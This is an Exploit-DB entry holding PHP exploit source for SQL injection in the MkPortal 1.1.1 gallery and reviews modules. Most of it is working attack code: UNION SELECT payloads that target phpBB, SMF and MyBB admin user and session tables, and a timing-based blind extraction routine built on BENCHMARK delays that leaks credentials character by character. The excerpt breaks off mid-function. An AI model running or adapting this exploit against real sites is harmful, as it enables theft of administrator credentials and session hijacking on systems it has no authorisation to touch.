Exploit-DB #4179
Description: MKPortal 1.1.1 reviews / Gallery modules - SQL Injection
Type: webapps
Platform: php
Date: 2007-07-12
Author: Coloss

Exploit:
<?php

/*
[i] MkPortal "reviews" and "gallery" modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal <= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids

[Notes]
At this time MkPortal 1.1.1 is the latest stable release
Currently implemented: phpbb, smf and mybb
*/


$exptime = 3600;
$stcnt = 300000;
$maxnull = 5;

$opts = getopt("u:U:P:f:m:d:o:");

$vars = array ( "phpbb", "1 UNION SELECT %s FROM phpbb_users WHERE user_id=2",
                "phpbb_sid", "1 UNION SELECT %s FROM phpbb_sessions WHERE session_user_id=2 ORDER BY descrizione DESC LIMIT 1",
                "smf", "1 UNION SELECT %s FROM smf_members WHERE ID_MEMBER=1",
                "mybb", "1 UNION SELECT %s FROM mybb_users WHERE uid=1",
);


print
"[i] MkPortal \"reviews\" and \"gallery\" modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal <= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids\n\n";


if ($opts[u] == '')
        die(help($argv[0]));

if (!strncmp($opts[u], "http", 4))
        $url = $opts[u];
else
        $url = "http://".$opts[u];

if ($opts[U])
        $user = $opts[U];
if ($opts[P])
        $pass = $opts[P];
if ($opts[f])
        $forum = $opts[f];
if ($opts[m])
        $met = $opts[m];
if ($opts[o])
        $file = $opts[o];
if ($opts[d])
        $dir = $opts[d];

$cookies = '';
$delay = $min = $max = $mid = 0;
$fld1 = $fld2 = '';

if (!$forum)
        die("[X] You haven't specified any forum type!\n");

echo "[+] Target: $url [$forum]\n\n";

exploit();


function exploit_gallery ($f)
{
        global $cookies, $url, $fld1, $fld2;
        $sql = get_sql($f);
        $str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
        $req = sprintf($sql, $str);

        $u = $url."index.php?ind=gallery&op=edit_file&iden=".urlencode($req);
        $html = Send($u, NULL, $cookies);
        if (strstr($html, "ERROR: Database error"))
                die("[X] SQL Query Error.. probably wrong table prefix\n");
        else if (strstr($html, "<title>Error</title>"))
                die("[X] This method failed. Try something else\n");

        $var1 = get_string($html,"name=\"titolo\" value=\"","\"");
        $var2 = get_string($html,"name=\"descrizione\" class=\"bgselect\">","<");

        return ($var1." ".$var2);
}

function get_delay ($cnt, $f, $u)
{
        global $url, $cookies, $fld1, $fld2, $met;

        $sql = get_sql($f);

        if (strstr($met, "gallery"))
                $str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
        else
                $str = $fld1;

        $inj = sprintf($sql, $str);

        if (strstr($inj, "ORDER BY")) {
                list($base, $order) = explode("ORDER BY", $inj);
                $inj = $base."AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,1,BENCHMARK(%d,MD5(31337))) ORDER BY". $order;
        }
        else
                $inj .= " AND IF(ORD(SUBSTR(%s,%d,1))%s,1,BENCHMARK(%d,MD5(31337)))";

        $req = sprintf($inj, $fld1, 1, "=1", $cnt);
        $u .= urlencode($req);

        $start = getmicrotime();
        Send($u, NULL, $cookies);
        $end = getmicrotime();

        $delay = intval(10 * ($end - $start));
        return $delay;
}

function get_normaldelay ($f, $u)
{
        global $stcnt;

        $na = get_delay(1,$f,$u);
        $da = get_delay($stcnt,$f,$u);
        $nb = get_delay(1,$f,$u);
        $db = get_delay($stcnt,$f,$u);
        $nc = get_delay(1,$f,$u);
        $dc = get_delay($stcnt,$f,$u);

        $mean_delayed = intval(($da + $db + $dc) / 3);
        if ($mean_delayed < 2)
                die("Failed. The Answer was too rapid, probably you have not enough privileges\n");
        return $mean_delayed;
}

function exploit_blind ($sql, $u, $field)
{
        global $cookies, $stcnt, $delay, $min, $max, $mid;

        $cnt = $stcnt * 4;

        echo "[->] Trying to find value for '".$field."'\n";

        for ($i = 1; $i < 51; $i++) {
                for ($j = $min; $j <= $max; $j++) {
                        if ($j == $mid)
                                $j = 97;
                        $req = sprintf($sql, $field, $i, "=$j", $cnt);
                        $ur = $u.urlencode($req);
                        $start = getmicrotime();
                        Send($ur, NULL, $cookies);
                        $end = getmicrotime();

                        $dtime = intval(10 * ($end - $start));
                        if ($dtime > ($delay * 2)) {
                                $out .= chr($j);
                                echo "[+] Current value for '".$field."' (".$i."): ".$out."\n";
                                break;
                        }
                        if ($j == $max)
                                $i = 41;
                }
        }
        if ($out)
                echo "\n[->] Found value for '".$field."': ".$out."\n\n";
        return $out;
}


function exploit_gallery_blind ($f)
{
        global $fld1, $fld2, $url;

        $str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
        $sql = get_sql($f);
        $inj = sprintf($sql, $str);

        $u = $url."index.php?ind=gallery&op=edit_file&iden=";

        $var1 = exploit_init_blind($f, $u, $inj, $fld1);
        $var2 = exploit_init_blind($f, $u, $inj, $fld2);

        return ($var1." ".$var2);
}

function exploit_reviews ($f)
{
        global $fld1, $fld2, $url;

        $u = $url."index.php?ind=reviews&op=update_file&iden=";
        $sql = get_sql($f);

        $inj = sprintf($sql, $fld1);
        $var1 = exploit_init_blind($f, $u, $inj, $fld1);

        $inj = sprintf($sql, $fld2);
        $var2 = exploit_init_blind($f, $u, $inj, $fld2);

        return ($var1." ".$var2);
}

function exploit_init_blind ($f, $u, $inj, $field)
{
        global $